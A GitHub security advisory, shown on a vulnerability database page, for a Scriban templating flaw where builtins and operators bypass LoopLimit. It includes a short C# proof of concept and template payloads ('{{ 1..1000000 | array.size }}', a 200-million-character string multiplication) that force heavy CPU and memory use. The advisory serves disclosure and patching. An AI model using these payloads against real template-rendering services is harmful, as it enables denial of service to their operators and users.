GHSA-C875-H985-HVRC
Vulnerability from github – Published: 2026-03-24 22:13 – Updated: 2026-07-06 13:03Summary
Scriban's LoopLimit only applies to script loop statements, not to expensive iteration performed inside operators and builtins. An attacker can submit a single expression such as {{ 1..1000000 | array.size }} and force large amounts of CPU work even when LoopLimit is set to a very small value.
Details
The relevant code path is:
ScriptBlockStatement.Evaluate()callscontext.CheckAbort()once per statement insrc/Scriban/Syntax/Statements/ScriptBlockStatement.cslines 41–46.LoopLimitenforcement is tied to script loop execution viaTemplateContext.StepLoop(), not to internal helper iteration.array.sizeinsrc/Scriban/Functions/ArrayFunctions.cslines 596–609 callslist.Cast<object>().Count()for non-collection enumerables.1..Ncreates aScriptRangefromScriptBinaryExpression.RangeInclude()insrc/Scriban/Syntax/Expressions/ScriptBinaryExpression.cslines 745–748.ScriptRangethen yields every element one by one without going throughStepLoop()insrc/Scriban/Runtime/ScriptRange.cs.
This means a single statement can perform arbitrarily large iteration without being stopped by LoopLimit.
There is also a related memory-amplification path in string * int:
ScriptBinaryExpression.CalculateToString()appends in a plainforloop insrc/Scriban/Syntax/Expressions/ScriptBinaryExpression.cslines 301–334.
Proof of Concept
Setup
mkdir scriban-poc3
cd scriban-poc3
dotnet new console --framework net8.0
dotnet add package Scriban --version 6.6.0
Program.cs
using Scriban;
var template = Template.Parse("{{ 1..1000000 | array.size }}");
var context = new TemplateContext
{
LoopLimit = 1
};
Console.WriteLine(template.Render(context));
Run
dotnet run
Actual Output
1000000
Expected Behavior
A safety limit of LoopLimit = 1 should prevent a template from performing one million iterations worth of work.
Optional Stronger Variant (Memory Amplification)
using Scriban;
var template = Template.Parse("{{ 'A' * 200000000 }}");
var context = new TemplateContext
{
LoopLimit = 1
};
template.Render(context);
This variant demonstrates that LoopLimit also does not constrain large internal allocation work.
Impact
This is an uncontrolled resource consumption issue. Any application that accepts attacker-controlled templates and relies on LoopLimit as part of its safe-runtime configuration can still be forced into heavy CPU or memory work by a single expression.
The issue impacts:
- Template-as-a-service systems
- CMS or email rendering systems that accept user templates
- Any multi-tenant use of Scriban with untrusted template content
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "scriban"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.0.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Scriban.Signed"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-24T22:13:08Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nScriban\u0027s `LoopLimit` only applies to script loop statements, not to expensive iteration performed inside operators and builtins. An attacker can submit a single expression such as `{{ 1..1000000 | array.size }}` and force large amounts of CPU work even when `LoopLimit` is set to a very small value.\n\n## Details\n\nThe relevant code path is:\n\n- `ScriptBlockStatement.Evaluate()` calls `context.CheckAbort()` once per statement in `src/Scriban/Syntax/Statements/ScriptBlockStatement.cs` lines 41\u201346.\n- `LoopLimit` enforcement is tied to script loop execution via `TemplateContext.StepLoop()`, not to internal helper iteration.\n- `array.size` in `src/Scriban/Functions/ArrayFunctions.cs` lines 596\u2013609 calls `list.Cast\u003cobject\u003e().Count()` for non-collection enumerables.\n- `1..N` creates a `ScriptRange` from `ScriptBinaryExpression.RangeInclude()` in `src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs` lines 745\u2013748.\n- `ScriptRange` then yields every element one by one **without going through `StepLoop()`** in `src/Scriban/Runtime/ScriptRange.cs`.\n\nThis means a single statement can perform arbitrarily large iteration without being stopped by `LoopLimit`.\n\nThere is also a related memory-amplification path in `string * int`:\n\n- `ScriptBinaryExpression.CalculateToString()` appends in a plain `for` loop in `src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs` lines 301\u2013334.\n\n---\n\n## Proof of Concept\n\n### Setup\n\n```bash\nmkdir scriban-poc3\ncd scriban-poc3\ndotnet new console --framework net8.0\ndotnet add package Scriban --version 6.6.0\n```\n\n### `Program.cs`\n\n```csharp\nusing Scriban;\n\nvar template = Template.Parse(\"{{ 1..1000000 | array.size }}\");\n\nvar context = new TemplateContext\n{\n LoopLimit = 1\n};\n\nConsole.WriteLine(template.Render(context));\n```\n\n### Run\n\n```bash\ndotnet run\n```\n\n### Actual Output\n\n```\n1000000\n```\n\n### Expected Behavior\n\nA safety limit of `LoopLimit = 1` should prevent a template from performing one million iterations worth of work.\n\n### Optional Stronger Variant (Memory Amplification)\n\n```csharp\nusing Scriban;\n\nvar template = Template.Parse(\"{{ \u0027A\u0027 * 200000000 }}\");\nvar context = new TemplateContext\n{\n LoopLimit = 1\n};\n\ntemplate.Render(context);\n```\n\nThis variant demonstrates that `LoopLimit` also does not constrain large internal allocation work.\n\n---\n\n## Impact\n\nThis is an uncontrolled resource consumption issue. Any application that accepts attacker-controlled templates and relies on `LoopLimit` as part of its safe-runtime configuration can still be forced into heavy CPU or memory work by a single expression.\n\nThe issue impacts:\n\n- Template-as-a-service systems\n- CMS or email rendering systems that accept user templates\n- Any multi-tenant use of Scriban with untrusted template content",
"id": "GHSA-c875-h985-hvrc",
"modified": "2026-07-06T13:03:19Z",
"published": "2026-03-24T22:13:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/scriban/scriban/security/advisories/GHSA-c875-h985-hvrc"
},
{
"type": "PACKAGE",
"url": "https://github.com/scriban/scriban"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Scriban: Built-in operations bypass LoopLimit and delay cancellation, enabling Denial of Service"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.